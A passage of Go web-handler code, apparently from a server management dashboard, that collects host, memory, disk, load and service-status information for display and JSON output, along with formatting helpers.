func (h *Handler) Dashboard(w http.ResponseWriter, r *http.Request) {
info := h.gatherSystemInfo()
h.render(w, "dashboard.html", info)
}
func (h *Handler) SystemInfo(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusOK, h.gatherSystemInfo())
}
func (h *Handler) gatherSystemInfo() systemInfo {
info := systemInfo{
OS: runtime.GOOS,
Arch: runtime.GOARCH,
CPUs: runtime.NumCPU(),
}
// Hostname — no wrapper, keep exec.Command
if out, err := exec.Command("hostname").Output(); err == nil {
info.Hostname = strings.TrimSpace(string(out))
}
// Uptime
if ut, err := system.GetUptime(); err == nil {
info.Uptime = "up " + ut.HumanReadable
}
// Load average
if la, err := system.GetLoadAvg(); err == nil {
info.LoadAvg = fmt.Sprintf("%.2f %.2f %.2f", la.Load1, la.Load5, la.Load15)
}
// Memory
if mem, err := system.GetMemory(); err == nil {
info.MemTotal = mem.Total
info.MemUsed = mem.Used
if mem.TotalBytes > 0 {
info.MemPercent = float64(mem.UsedBytes) / float64(mem.TotalBytes) * 100
}
}
// Disk — find the root mount from the disk list
if disks, err := system.GetDisk(); err == nil {
for _, d := range disks {
if d.MountPoint == "/" {
info.DiskTotal = d.Size
info.DiskUsed = d.Used
pct := strings.TrimSuffix(d.UsePercent, "%")
info.DiskPercent, _ = strconv.ParseFloat(pct, 64)
break
}
}
// If no root mount found but we have disks, use the first one
if info.DiskTotal == "" && len(disks) > 0 {
d := disks[0]
info.DiskTotal = d.Size
info.DiskUsed = d.Used
pct := strings.TrimSuffix(d.UsePercent, "%")
info.DiskPercent, _ = strconv.ParseFloat(pct, 64)
}
}
// Site count
if sites, err := h.DB.ListSites(); err == nil {
info.SiteCount = len(sites)
}
// Services
services := []struct{ name, unit string }{
{"Nginx", "nginx"},
{"AUTARCH Web", "autarch-web"},
{"AUTARCH DNS", "autarch-dns"},
{"Setec Manager", "setec-manager"},
}
for _, svc := range services {
si := serviceInfo{Name: svc.name}
active, err := deploy.IsActive(svc.unit)
if err == nil && active {
si.Status = "active"
si.Running = true
} else {
si.Status = "inactive"
si.Running = false
}
info.Services = append(info.Services, si)
}
return info
}
func formatBytes(b float64) string {
units := []string{"B", "KB", "MB", "GB", "TB"}
i := 0
for b >= 1024 && i < len(units)-1 {
b /= 1024
i++
}
return strconv.FormatFloat(b, 'f', 1, 64) + " " + units[i]
}
// uptimeSince returns a human-readable duration.
func uptimeSince(d time.Duration) string {
days := int(d.Hours()) / 24
hours := int(d.Hours()) % 24
mins := int(d.Minutes()) % 60
if days > 0 {
return strconv.Itoa(days) + "d " + strconv.Itoa(hours) + "h " + strconv.Itoa(mins) + "m"
}
if hours > 0 {
return strconv.Itoa(hours) + "h " + strconv.Itoa(mins) + "m"
}
return strconv.Itoa(mins) + "m"
}

Some files were not shown because too many files have changed in this diff Show More